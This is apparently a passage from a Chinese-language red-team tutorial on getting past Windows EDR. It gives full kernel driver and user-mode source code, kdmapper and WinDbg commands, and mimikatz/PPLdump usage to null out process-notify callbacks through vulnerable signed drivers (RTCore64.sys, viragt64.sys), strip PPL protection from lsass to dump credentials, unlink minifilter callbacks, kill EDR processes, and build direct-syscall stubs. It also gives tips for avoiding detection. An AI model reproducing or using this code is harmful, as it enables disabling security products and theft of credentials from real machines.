这些API注册指向函数的指针,在进程/线程/映像事件发生时会被调用。


如何枚举或禁用EDR回调

方法1 - 使用易受攻击的驱动(BYOVD)

一种技术被称为自带易受攻击的驱动(BYOVD),用于获取内核级权限并枚举或操控回调条目。

示例:使用MSI的RTCore64.sys(已知易受攻击的驱动)

  1. 加载一个易受攻击的驱动程序。

  2. 访问未公开的内核结构,如PspCreateProcessNotifyRoutine

  3. 读取并将函数指针置为空来禁用回调。

注意:此方法非常危险,如果执行不当,可能会导致系统崩溃。需要了解Windows内部原理。


PoC使用KDMapper + 自定义驱动

通过使用kdmapper,我们可以映射一个驱动程序,扫描PspCreateProcessNotifyRoutine表并禁用回调。

内核驱动伪代码:

1
2
3
4
5
6
7
8
9
10
11
12
// 需要Windows内部知识
void DisableEDRProcessCallbacks()
{
for (int i = 0; i < 64; i++)
{
PVOID* CallbackEntry = (PVOID*)((ULONG_PTR)PspCreateProcessNotifyRoutine + (i * sizeof(PVOID)));
if (MmIsAddressValid(*CallbackEntry))
{
*CallbackEntry = NULL; // 禁用回调
}
}
}

注意:

  • 这段代码必须在内核模式下运行。

  • PspCreateProcessNotifyRoutine的地址必须动态解析或使用符号。


检测与反制措施

EDR和现代Windows防御使用以下方法反制这种类型的规避:

  • HVCI(虚拟机保护的代码完整性):防止内核内存篡改。

  • 回调验证:检查是否存在意外的空条目。

  • 篡改保护:防止加载未签名驱动或没有适当策略的驱动。


更安全的枚举工具(只读)

如果你处于测试或研究环境中,且希望枚举回调而不进行修改,可以使用:


实际使用

恶意软件如TurlaFIN7Conti已经使用内核级篡改来绕过EDR,通过:

  • 禁用内核回调。

  • 杀死EDR驱动。

  • 使用BYOVD修改回调表。


总结

技术 需要内核访问 风险等级 可检测性
回调打补丁(NULL) 是(BYOVD)
枚举回调
通过API移除 仅限自己的回调

PoC:通过内核内存篡改禁用EDR进程回调

技术:通过内核模式访问将PspCreateProcessNotifyRoutine数组中的条目置为NULL。

注意:这些结构是未公开的,并且在不同版本的Windows之间有所不同。我们将使用符号解析来获取PspCreateProcessNotifyRoutine的地址。


要求

  • 一个易受攻击的签名驱动(例如,RTCore64.sysASUSGPU.sys

  • kdmapper:使用现有的易受攻击驱动加载未签名的内核驱动。

  • 一个自定义驱动程序(EDRDisabler.sys,用于将回调指针置空。

  • 配置了Windows Defender + EDR(CrowdStrike,SentinelOne等)的测试环境。


步骤1 – 自定义驱动代码(EDRDisabler.cpp)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <ntddk.h>

typedef struct _CALLBACK_ENTRY {
LIST_ENTRY CallbackList;
PVOID Function;
PVOID Context;
} CALLBACK_ENTRY, * PCALLBACK_ENTRY;

extern "C" PVOID PsSetCreateProcessNotifyRoutine;

void DisableProcessCallbacks()
{
DbgPrint("[*] 尝试禁用进程创建回调...\n");

// 获取数组指针
PVOID* PspCreateProcessNotifyRoutine = (PVOID*)PsSetCreateProcessNotifyRoutine;

for (int i = 0; i < 64; i++) // 最多64个条目
{
PVOID entry = InterlockedExchangePointer(&PspCreateProcessNotifyRoutine[i], NULL);
if (entry != NULL)
{
DbgPrint("[+] 回调 %d 被移除: %p\n", i, entry);
}
}
}

extern "C" NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
UNREFERENCED_PARAMETER(RegistryPath);
DriverObject->DriverUnload = [](PDRIVER_OBJECT) {};

DisableProcessCallbacks();

return STATUS_SUCCESS;
}

注意:

  • PsSetCreateProcessNotifyRoutine并不直接导出。你需要手动解析它,或者使用WinDbg通过符号提取它的地址。

  • 你还可以使用符号名称nt!PspCreateProcessNotifyRoutine来定位数组。


步骤2 – 使用Kdmapper映射驱动

1
kdmapper.exe EDRDisabler.sys

驱动映射后,它会尝试将进程回调数组中的所有条目置为NULL。


使用WinDbg进行符号解析

在WinDbg中:

1
x nt!PspCreateProcessNotifyRoutine

这将给出回调数组在内核内存中的地址。


实际案例:为什么这个方法有效

EDR注册它们的驱动时使用PsSetCreateProcessNotifyRoutineEx。它们的回调函数存储在这个全局数组中。通过将它们的函数指针设置为NULL,你可以有效地禁用它们对新进程的可见性,而不会导致操作系统崩溃。

一些恶意软件家族,如TurlaSlingshot,已经成功使用了此技术,通常会加载自己的内核驱动来执行这些操作。


参考资料

8.3 - Dumping LSA Protected LSASS

目标

绕过LSA保护(也称为PPL – 受保护进程轻量版)从lsass.exe(本地安全授权子系统服务)中转储内存,并绕过AV/EDR的文件系统检测机制,如AV/EDR的minifilter回调。


1. 理解PPL(受保护进程轻量版)

PPL是Windows 8.1及以上版本中的一项安全特性,它阻止了即使是系统级别的进程访问敏感进程(如lsass.exe),除非这些进程也被标记为与LSASS具有相同的“受信任”保护级别

当使用工具如Mimikatz时,你可能会遇到以下错误:

1
2
mimikatz # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

发生这种情况的原因是:

  • 你的进程(即使是SYSTEM进程)没有与LSASS相同的PS_PROTECTION级别的信任。

  • LSASS在其EPROCESS结构中使用了一个字段来声明其保护。


2. 绕过LSA保护

选项A – 使用PPLdump.exe(用户态漏洞)

PPLdump允许你无需内核级驱动或EPROCESS补丁,直接转储LSASS。

描述

1
使用*用户态*漏洞转储受保护进程(PPL)的内存

语法

1
PPLdump.exe [-v] [-d] [-f] <PROC_NAME|PROC_ID> <DUMP_FILE>

示例

1
PPLdump.exe -v lsass.exe lsass.dmp

该方法通过生成一个牺牲子进程,继承句柄以绕过保护层。


选项B – 内核级EPROCESS补丁(WinDbg)

  1. 定位LSASS EPROCESS
1
!process 0 0 lsass.exe
  1. 获取保护字段
1
dt nt!_EPROCESS <lsass_EPROCESS> Protection
  1. 移除PPL(将保护字段设置为0)
1
eb <lsass_EPROCESS>+<Offset_Protection> 0x00

你可以使用以下命令来获取Protection的偏移:

1
dt nt!_PS_PROTECTION

一旦移除PPL,你就可以使用procdumpmimikatz或类似工具来转储LSASS。


3. Minifilter回调解除钩子(绕过基于文件的EDR检测)

mimikatz.exe这样的恶意软件经常在执行之前被磁盘上的AV/EDRMinifilter回调检测到。

工作原理

  • Windows使用FLT_INSTANCE结构表示已加载的minifilter驱动程序。

  • 每个实例有CALLBACK_NODE,用于表示文件创建、读取或写入等事件。

  • 这些节点通过_LIST_ENTRY形成一个双向链表。

绕过文件检测

使用内核调试器(例如WinDbg):

  1. 列出过滤器
1
!fltkd.filters
  1. 检查过滤器实例
1
!instance <FLT_INSTANCE_ADDRESS> 4
  1. 检查回调节点
1
dt _CALLBACK_NODE <CallbackNode_Addr>

要解除回调钩子(禁用遥测):

1
2
3
4
eq <Previous_Node_Flink> <Next_Node>
eq <Next_Node_Blink> <Previous_Node>
eq <Current_Node_Flink> <Current_Node>
eq <Current_Node_Blink> <Current_Node>

这会断开minifilter钩子,允许恶意软件被写入磁盘而不被检测。


4. 实际场景

完整流程

  1. 使用WinDbg对lsass.exe的EPROCESS进行补丁,移除其保护。

  2. 使用mimikatz从LSASS内存中转储凭证。

  3. 要在没有AV警报的情况下将mimikatz写入磁盘:

    • 按照上述方法解除文件回调的钩子。

    • 或者,从内存加载mimikatz或动态打包它。


PPL绕过通过EPROCESS补丁 – 内核读/写PoC

本代码假设你已经拥有一个易受攻击的驱动(如RTCore64.sysCapcom.sysAsusVGP.sys),该驱动暴露了对任意内核内存的原语。


步骤1:识别EPROCESS偏移和目标

你需要以下信息:

字段 描述
PsInitialSystemProcess 用于遍历进程列表的导出
ActiveProcessLinks 用于枚举EPROCESS结构的列表
ImageFileName 进程名(例如,lsass.exe
Protection 我们要补丁的字段,设置为0(移除PPL)

使用WinDbg查找Protection字段在_EPROCESS中的偏移:

1
2
dt _EPROCESS
dt _EPROCESS Protection

通常,Protection字段位于0x87A附近,具体偏移取决于操作系统版本。


步骤2:PoC代码(用户态应用调用驱动)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#include <Windows.h>
#include <stdio.h>
#include <TlHelp32.h>

#define IOCTL_WRITE_MEMORY CTL_CODE(FILE_DEVICE_UNKNOWN, 0x2220B, METHOD_BUFFERED, FILE_SPECIAL_ACCESS)

typedef struct _KERNEL_WRITE_REQUEST {
ULONG_PTR Address;
ULONG_PTR Value;
SIZE_T Size;
} KERNEL_WRITE_REQUEST;

DWORD GetProcessIdByName(const wchar_t* name) {
PROCESSENTRY32W entry;
entry.dwSize = sizeof(entry);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (Process32FirstW(snapshot, &entry)) {
do {
if (_wcsicmp(entry.szExeFile, name) == 0) {
CloseHandle(snapshot);
return entry.th32ProcessID;
}
} while (Process32NextW(snapshot, &entry));
}
CloseHandle(snapshot);
return 0;
}

ULONG_PTR GetEPROCESSAddr(DWORD pid) {
// 这是特定于上下文的。
// 在实际使用中,应通过遍历PsActiveProcessHead或使用暴露的IOCTL来解决EPROCESS地址

// 占位地址:
return 0xFFFFA88A00000000; // 你必须从漏洞驱动中解决实际的EPROCESS地址
}

int main() {
HANDLE hDriver = CreateFileW(L"\\\\.\\MyVulnDriver",
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL);

if (hDriver == INVALID_HANDLE_VALUE) {
printf("[-] 打开易受攻击驱动的句柄失败。\n");
return 1;
}

DWORD lsassPid = GetProcessIdByName(L"lsass.exe");
if (!lsassPid) {
printf("[-] 找不到lsass.exe进程。\n");
return 1;
}

ULONG_PTR eprocess = GetEPROCESSAddr(lsassPid);
ULONG_PTR protectionOffset = 0x87A; // 根据操作系统版本调整

KERNEL_WRITE_REQUEST request = {
.Address = eprocess + protectionOffset,
.Value = 0x00, // 移除保护
.Size = 1
};

DWORD bytesReturned;
BOOL result = DeviceIoControl(hDriver,
IOCTL_WRITE_MEMORY,
&request, sizeof(request),
NULL, 0, &bytesReturned, NULL);

if (!result) {
printf("[-] 补丁保护失败。\n");
return 1;
}

printf("[+] LSASS保护已移除。现在可以打开句柄。\n");

return 0;
}

步骤3:使用Mimikatz测试

在运行PoC后:

1
mimikatz # sekurlsa::logonpasswords

你应该不再看到:

1
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

重要注意事项

  • 此PoC假设:

    • 你已经拥有任意内核内存权限(例如,通过`Capcom.sys

RTCore64.sys)。 - 你已经手动解决了lsass.exe的EPROCESS(可以通过内核模式中的PsLookupProcessByPid`或通过暴露的IOCTL来自动化)。

  • 保护值0x00 = 无保护。其他值:

    • 0x61 → PsProtectedSignerLsa-Light

    • 0x62 → PsProtectedSignerAntimalware-Light


内核模式驱动:PPLKillerDrv.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#include <ntddk.h>
#include <windef.h>

#define IOCTL_DISABLE_PROTECTION CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_SPECIAL_ACCESS)

typedef struct _IOCTL_REQUEST {
ULONG TargetPid;
} IOCTL_REQUEST, *PIOCTL_REQUEST;

typedef struct _PS_PROTECTION {
UCHAR Type : 3;
UCHAR Audit : 1;
UCHAR Signer : 4;
} PS_PROTECTION, *PPS_PROTECTION;

PDEVICE_OBJECT g_DeviceObj = NULL;
UNICODE_STRING g_DeviceName = RTL_CONSTANT_STRING(L"\\Device\\PPLKiller");
UNICODE_STRING g_SymbolicLink = RTL_CONSTANT_STRING(L"\\??\\PPLKiller");

NTSTATUS UnloadDriver(PDRIVER_OBJECT DriverObject) {
IoDeleteSymbolicLink(&g_SymbolicLink);
IoDeleteDevice(g_DeviceObj);
DbgPrint("PPLKiller卸载。\n");
return STATUS_SUCCESS;
}

NTSTATUS DispatchDeviceControl(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);
ULONG controlCode = stack->Parameters.DeviceIoControl.IoControlCode;
NTSTATUS status = STATUS_INVALID_DEVICE_REQUEST;
ULONG info = 0;

if (controlCode == IOCTL_DISABLE_PROTECTION) {
if (stack->Parameters.DeviceIoControl.InputBufferLength < sizeof(IOCTL_REQUEST)) {
status = STATUS_BUFFER_TOO_SMALL;
} else {
PIOCTL_REQUEST req = (PIOCTL_REQUEST)Irp->AssociatedIrp.SystemBuffer;
PEPROCESS targetProcess = NULL;

if (NT_SUCCESS(PsLookupProcessByProcessId((HANDLE)(ULONG_PTR)req->TargetPid, &targetProcess))) {
PUCHAR eprocessBytes = (PUCHAR)targetProcess;

// 保护字段的偏移 – 需要根据版本验证!
SIZE_T protectionOffset = 0x87A;

PS_PROTECTION* protection = (PS_PROTECTION*)(eprocessBytes + protectionOffset);
DbgPrint("原始保护:0x%02X\n", *(PUCHAR)protection);

*(PUCHAR)protection = 0x00; // 移除PPL

DbgPrint("已为PID %lu移除PPL。\n", req->TargetPid);
ObDereferenceObject(targetProcess);
status = STATUS_SUCCESS;
info = sizeof(IOCTL_REQUEST);
} else {
DbgPrint("无法找到目标进程。\n");
status = STATUS_NOT_FOUND;
}
}
}

Irp->IoStatus.Status = status;
Irp->IoStatus.Information = info;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return status;
}

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) {
UNREFERENCED_PARAMETER(RegistryPath);

DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DispatchDeviceControl;
DriverObject->DriverUnload = UnloadDriver;

NTSTATUS status = IoCreateDevice(
DriverObject,
0,
&g_DeviceName,
FILE_DEVICE_UNKNOWN,
0,
FALSE,
&g_DeviceObj
);

if (!NT_SUCCESS(status)) {
return status;
}

status = IoCreateSymbolicLink(&g_SymbolicLink, &g_DeviceName);
if (!NT_SUCCESS(status)) {
IoDeleteDevice(g_DeviceObj);
return status;
}

DbgPrint("PPLKiller加载。\n");
return STATUS_SUCCESS;
}

用户态应用:PPLKillerClient.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <Windows.h>
#include <stdio.h>

#define IOCTL_DISABLE_PROTECTION CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_SPECIAL_ACCESS)

typedef struct _IOCTL_REQUEST {
ULONG TargetPid;
} IOCTL_REQUEST;

int main(int argc, char** argv) {
if (argc < 2) {
printf("用法:%s <PID>\n", argv[0]);
return 1;
}

DWORD pid = atoi(argv[1]);

HANDLE hDevice = CreateFileW(L"\\\\.\\PPLKiller",
GENERIC_WRITE | GENERIC_READ,
0, NULL, OPEN_EXISTING, 0, NULL);

if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] 打开驱动句柄失败。\n");
return 1;
}

IOCTL_REQUEST req = { .TargetPid = pid };
DWORD bytesReturned;

if (DeviceIoControl(hDevice, IOCTL_DISABLE_PROTECTION,
&req, sizeof(req),
NULL, 0, &bytesReturned, NULL)) {
printf("[+] 已移除PID %lu的PPL\n", pid);
} else {
printf("[-] IOCTL失败:%lu\n", GetLastError());
}

CloseHandle(hDevice);
return 0;
}

编译说明

  • 使用Windows驱动程序工具包(WDK)编译驱动

  • 使用MSVC编译器(如Visual Studio)编译客户端

  • 使用OSR LoaderKDMapper手动映射加载驱动。

  • 使用进程ID运行客户端,如:

1
PPLKillerClient.exe 720

安全注意事项

  • 补丁内核内存需要小心偏移并进行构建特定的测试。

  • 始终在安全的虚拟机环境中测试,绝不在生产系统上运行。

  • 现代EDR如果没有隐蔽处理,可能会检测到这些技术(考虑使用DSE补丁或驱动隐藏技术)。


附加参考资料

8.4 - 通过BYOVD(Bring Your Own Vulnerable Driver)杀死EDR

Bring Your Own Vulnerable Driver (BYOVD) 是一种广泛使用的攻击技术,利用合法、签名但存在漏洞的内核模式驱动程序来执行特权操作,如禁用安全产品、修改内核内存或提升权限。这种方式绕过了驱动程序签名强制(DSE),并避免了触发早期检测机制,因为驱动程序本身已经被Windows信任。


目标

使用脆弱的签名驱动程序杀死或禁用内核或用户空间中的EDR组件。通常通过以下方式实现:

  • 禁用进程保护(PPLETW,回调)。

  • 卸载或清空由EDR内核驱动程序注册的回调。

  • 从内核直接终止EDR用户空间进程。

  • 覆盖敏感结构,如 EPROCESSObjectTypeInitializersCallbacksPsSetCreateProcessNotifyRoutine


步骤:实际使用 RTCore64.sys(MSI)

最常见的BYOVD例子之一是 RTCore64.sys,它是MSI的超频工具中使用的签名驱动程序。这个驱动程序允许在没有任何安全检查的情况下执行任意的内核内存读取和写入操作。


步骤 1 – 加载脆弱驱动程序

你可以使用加载器,如 KDMapper 来加载 RTCore64.sys 到Windows中:

1
kdmapper.exe RTCore64.sys

这将把驱动程序映射到内核内存中,而无需证书或修改启动设置。


步骤 2 – 使用它来修改内核结构

下面是一个使用 RTCore64.sys 执行任意内核内存写入并禁用EDR相关回调的例子。

代码示例(C++) – 修改 PsSetCreateProcessNotifyRoutine 回调表
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#define IOCTL_WRITE_KERNEL_MEMORY 0x22200C

typedef struct _KERNEL_WRITE_REQUEST {
ULONGLONG Address;
ULONGLONG Value;
SIZE_T Size;
} KERNEL_WRITE_REQUEST;

bool WriteKernelMemory(HANDLE hDriver, ULONGLONG address, ULONGLONG value, SIZE_T size) {
KERNEL_WRITE_REQUEST req = { address, value, size };
DWORD bytesReturned;

return DeviceIoControl(hDriver,
IOCTL_WRITE_KERNEL_MEMORY,
&req, sizeof(req),
nullptr, 0,
&bytesReturned, nullptr);
}

使用此函数将零写入或重定向EDR用于进程监控的函数指针。


步骤 3 – 清除EDR的Minifilter回调

你还可以使用相同的方法来从 FLTKD 数据结构中解除EDR的minifilter回调,这将防止文件操作监控(例如,磁盘落盘时AV扫描):

1
2
3
// 示例:解除 _CALLBACK_NODE
WriteKernelMemory(hDriver, CallbackNodeAddr + 0x0, CallbackNodeAddr); // FLINK
WriteKernelMemory(hDriver, CallbackNodeAddr + 0x8, CallbackNodeAddr); // BLINK

其他BYOVD示例

LolDrivers列出了可以利用的脆弱驱动程序: https://www.loldrivers.io/

驱动程序 厂商 描述
RTCore64.sys MSI 用于在内核空间执行任意读/写操作
WinIO.sys WinIO 经常用于禁用安全产品
gdrv.sys Gigabyte 脆弱的Gigabyte驱动程序
capcom.sys Capcom 用于进攻性工具(例如Sliver)

检测与规避

  • 检测: 许多EDR现在会阻止加载已知的脆弱驱动程序。一些还会监控对 ntoskrnl.exe 或内存结构(如 EPROCESS)的访问模式。

  • 规避技术:

    • 使用 新的或未知的脆弱驱动程序

    • 加密/混淆脆弱驱动程序(防止在磁盘上直接写入)。

    • 仅从内存加载(不进行文件写入)。

    • 重命名驱动程序函数以避免静态Yara规则的检测。


示例 1 – 通过 viragt64.sys 杀死EDR进程(自定义PoC)

以下PoC演示了如何加载并使用签名但脆弱的 viragt64.sys 驱动程序通过自定义IOCTL终止受保护的EDR进程。

GitHub:

https://github.com/CyberSecurityUP/ProcessKiller-BYOVD

概述:
  • 加载 viragt64.sys 作为Windows服务。

  • 打开设备句柄: \\.\viragtlt

  • 通过IOCTL发送进程名以通过内核终止进程。

关键组件:
  • IOCTL代码: 0x82730030

  • 设备路径: \\.\viragtlt

  • 负载: 要终止的进程名。

PoC使用示例:
1
ProcessKiller.exe csrss.exe
核心代码:
1
2
3
4
5
6
7
void killProcessByName(const std::string& processName) {
BYOVD_TEMPLATEIoctlStruct ioctlData;
strncpy_s(ioctlData.process_name, processName.c_str(), sizeof(ioctlData.process_name) - 1);

DeviceIoControl(hDevice, IOCTL_CODE, &ioctlData, sizeof(ioctlData),
nullptr, 0, &bytesReturned, nullptr);
}

该漏洞有效地从内核空间终止进程,即使是那些受 PPL 或进程篡改防护策略保护的进程。


示例 2 – 使用 RTCore64.sys 进行内存补丁

另一个常用的脆弱驱动程序是 RTCore64.sys,它允许任意内核内存访问。这使得攻击者能够通过修改回调表或解除进程通知例程来禁用EDR。

禁用进程通知回调:
1
WriteKernelMemory(hDriver, PsSetCreateProcessNotifyRoutineAddr, 0x0, sizeof(uintptr_t));

这会阻止EDR接收进程创建事件。


通过BYOVD的其他技术:

操作 目标
杀死用户态进程 从内核空间终止进程
禁用PPL 修改 EPROCESS.Protection0x0
解除ETW保护 修改 EtwThreatIntProvRegHandle
删除minifilter回调 修改 _CALLBACK_NODE FLINK/BLINK
绕过对象保护 修改 ObjectTypeInitializers

这个过程通过利用脆弱驱动程序提供了强大的攻击手段,使得攻击者能够绕过EDR防护、获取内核权限并执行恶意操作。

8.5 - 通过 EPROCESS 内核补丁绕过 LSA 保护(PPL)

什么是 PPL?

PPL(Protected Process Light) 是微软推出的一种机制,用于保护像 lsass.exe(本地安全授权子系统服务)这样的关键系统进程,防止未经授权的访问——即便是以 SYSTEM 权限运行的进程也无法访问。

一旦进程通过 PPL 保护,即使是像 Mimikatz 这样的 SYSTEM 级工具也无法打开句柄,除非在一个同样受保护的进程上下文中运行,或者保护被移除。


示例:Mimikatz 错误

如果在启用 PPL 保护的现代 Windows 系统上运行 Mimikatz,通常会看到如下错误:

1
2
mimikatz # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

这表明 Mimikatz 未能打开 LSASS 的句柄,因为它作为一个非受保护的进程运行,而 LSASS 启用了 LSA 保护。


理解内核中的保护字段

进程的 保护状态 存储在 EPROCESS 结构中的 Protection 字段,它的类型是 _PS_PROTECTION。在 WinDbg 中,这个结构如下所示:

1
dt nt!_PS_PROTECTION
1
2
3
4
+0x000 Level          : UChar
+0x000 Type : UChar // 0x0: None, 0x1: Protected, 0x2: Protected Light
+0x001 Audit : UChar
+0x002 Signer : UChar // e.g., 6: Lsa

在受保护的 lsass.exe 中,典型值如下:

  • Type: 2 → PPL

  • Signer: 6 → LSA


通过内核补丁移除 LSASS 保护(手动)

步骤 1 – 在 WinDbg 中查找 LSASS EPROCESS

1
!process 0 0 lsass.exe

记下 EPROCESS 结构的地址。

步骤 2 – 检查保护字段

1
dt nt!_EPROCESS <Address> Protection

你将看到如下信息:

1
2
3
+0x6fa Protection : _PS_PROTECTION
+0x000 Type : 2 (PsProtectedTypeProtectedLight)
+0x000 Signer : 6 (PsProtectedSignerLsa)

步骤 3 – 移除保护

你可以手动将 Protection 字节修改为 0x0

1
eb <lsass_EPROCESS>+<Offset_Protection> 0x00

示例(假设偏移为 0x6fa):

1
eb ffffcb0c`2b125080+6fa 00

这样,Mimikatz 将能够正常工作:

1
mimikatz # sekurlsa::logonpasswords

使用易受攻击的驱动(PoC)自动化补丁

你可以使用 BYOVD(带上自己的易受攻击驱动)的方法,借助一个允许任意内核内存写入的签名驱动来自动化这个补丁过程。

关键步骤:

  1. 枚举进程并找到 LSASS。

  2. 通过 PsActiveProcessLinks 遍历或 NtQuerySystemInformation 查找 LSASS EPROCESS。

  3. 计算到 Protection 的偏移。

  4. EPROCESS + ProtectionOffset 处写入 0x00

演示代码(使用 RTCore64 或 Capcom.sys 的内核补丁)

1
2
3
4
void RemoveLsaProtection(uint64_t lsass_eprocess, uint64_t protection_offset) {
uint8_t patch = 0x00;
WriteKernelMemory(driverHandle, lsass_eprocess + protection_offset, &patch, sizeof(patch));
}

使用 DeviceIoControl 或自定义映射驱动程序来应用此补丁。


避免检测

为了避免在绕过 PPL 时被检测到:

  • 只补丁 一个字节(精确写入)。

  • 使用后卸载你的驱动(例如使用 KDMapperTigressMapper)。

  • 在内存中混淆字符串(LSASSProtection 等)。

  • 在调用 Mimikatz 或类似工具之前,即时 执行此操作。


真实场景

在许多红队操作中,防御者严重依赖 PPL 来保护 lsass.exe 并检测内存篡改。绕过这一防御措施可以清洁地提取凭证,即使在强化的环境中也是如此。这里描述的方法被现代 APT 和后期利用框架(如 Cobalt Strike 和 Sliver)使用,通过 BOF 或内核阶段工具


限制和注意事项

  • 需要 内核级访问权限(通过易受攻击的驱动、漏洞或引导工具)。

  • 无法在没有此类权限的标准用户模式下执行。

  • 补丁是 易失性的(重启后会重置)。


总结表

技术 目标 结果
通过 WinDbg 内核补丁 EPROCESS 手动移除 PPL
BYOVD 自动化 易受攻击的驱动 程序化移除 PPL
绕过后的使用 LSASS / Mimikatz 凭证转储成功

8.6 - 从头实现 NTDLL 函数(自定义 NTDLL 存根)

概述

现代 EDR(端点检测和响应系统)广泛依赖于对 ntdll.dll 函数的 用户模式钩子 来监视和阻止可疑行为,尤其是像 NtOpenProcessNtAllocateVirtualMemoryNtWriteVirtualMemoryNtCreateThreadEx 等系统调用。

本节将探讨如何 手动重新实现这些 NTDLL 函数,通过直接调用系统调用(syscalls)而绕过用户模式 API 钩子,使用自定义的 shellcode 或 syscall 存根。这项技术确保了 隐蔽性EDR 绕过,在进攻性操作中至关重要。


为什么要重新实现 NTDLL 函数?

  • EDR 会将内联钩子放入 ntdll.dll 中,用于拦截和检查行为。

  • 即使你卸载了 NTDLL(例如通过重新映射),新进程加载的 DLL 仍可能会被钩住。

  • 在内存中重新实现系统调用可以完全避免 NTDLL。

  • 你可以完全控制系统调用存根和调用约定。


步骤:构建手动的系统调用存根

步骤 1 – 查找系统调用编号

系统调用编号在不同的 Windows 构建中可能有所不同,最佳的方法是动态提取它。

你可以从磁盘上的 干净版本 ntdll.dll 或从 KnownDlls 提取系统调用编号。

例如,下面是如何提取 NtOpenProcess 的系统调用编号:

1
2
3
4
5
// NtOpenProcess 操作码示例(x64)
mov r10, rcx
mov eax, 0x26 ; NtOpenProcess 的系统调用编号(与构建相关)
syscall
ret

步骤 2 – 自定义系统调用存根(汇编)

下面是 NtOpenProcess 的原始系统调用存根:

1
2
3
4
5
6
7
8
section .text
global NtOpenProcess_custom

NtOpenProcess_custom:
mov r10, rcx
mov eax, 0x26 ; 替换为实际的系统调用编号
syscall
ret

步骤 3 – 将存根注入内存(C++)

你可以通过函数指针将此存根注入内存:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
typedef NTSTATUS(NTAPI* NtOpenProcess_t)(
PHANDLE ProcessHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PCLIENT_ID ClientId
);

void* AllocateSyscallStub() {
unsigned char syscall_stub[] = {
0x4C, 0x8B, 0xD1, // mov r10, rcx
0xB8, 0x26, 0x00, 0x00, 0x00, // mov eax, 0x26(替换)
0x0F, 0x05, // syscall
0xC3 // ret
};

void* exec = VirtualAlloc(nullptr, sizeof(syscall_stub),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(exec, syscall_stub, sizeof(syscall_stub));
return exec;
}

然后使用它:

1
2
3
4
5
6
7
8
NtOpenProcess_t myNtOpenProcess = (NtOpenProcess_t)AllocateSyscallStub();
HANDLE hProc = NULL;
OBJECT_ATTRIBUTES oa = { 0 };
CLIENT_ID cid = { 0 };

cid.UniqueProcess = (HANDLE)targetPid;

NTSTATUS status = myNtOpenProcess(&hProc, PROCESS_ALL_ACCESS, &oa, &cid);

附加功能:编程提取系统调用编号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
DWORD GetSyscallNumber(const char* functionName) {
HMODULE hNtdll = LoadLibraryA("ntdll.dll");
BYTE* addr = (BYTE*)GetProcAddress(hNtdll, functionName);

if (!addr || addr[0] != 0x4C || addr[1] != 0x8B || addr[2] != 0xD1)
return -1; // 不是有效的系统调用存根

if (addr[3] == 0xB8) {
DWORD syscallNumber = *(DWORD*)(addr + 4);
return syscallNumber;
}

return -1;
}

优势

优势 描述
绕过钩子 不使用被 EDR 钩住的 ntdll.dll 函数。
隐蔽性 你控制何时以及如何调用敏感的 API。
跨兼容性 适用于跨进程,甚至在反射性有效载荷中。

限制

  • 系统调用编号在不同的 Windows 构建中会有所变化(使用动态解析)。

  • 系统调用可能会被 内核补丁保护(KPP)内核回调 阻止。

  • 在不正确的上下文中调用系统调用(例如 WoW64)可能导致崩溃。


真实世界应用

  1. Shellcode 加载器,如 SharpLoaderSysWhispersHellShell 使用了这一技术。

  2. EDR 绕过框架 替换 API 调用为硬编码的系统调用。

  3. 反射性 DLL仅内存植入物 包括自定义的系统调用表以避免用户模式。


最终笔记

  • 你可以在植入物中动态实现一个完整的 syscall resolver

  • 使用像 SysWhispers2/3 这样的工具自动化此过程,并保持最新的系统调用编号。

  • 可选地,结合 栈欺骗返回地址重定向 来提高隐蔽性。

8.7 - 钩子检测与绕过(内联钩子,IAT 钩子等)

概述

现代 EDR 系统通常依赖于 用户模式 API 钩子 来监视和控制恶意行为。最常见的技术包括:

  • 内联钩子(Inline Hooks) – 修改关键函数的前几个字节(例如 NtOpenProcess)以跳转到监视存根。

  • IAT(导入地址表)钩子 – 更改模块导入表中的函数指针,将 API 调用重定向。

本节将重点讨论如何 检测移除绕过 用户模式下的这些钩子。


1. API 钩子类型

钩子类型 机制
内联钩子 覆盖函数开始的字节,跳转到处理程序。
IAT 钩子 更改模块导入地址表的条目,指向伪造函数。
VEH 钩子 使用向量化异常处理程序拦截执行。
页面保护钩子 使用 PAGE_GUARD 内存保护拦截函数访问。

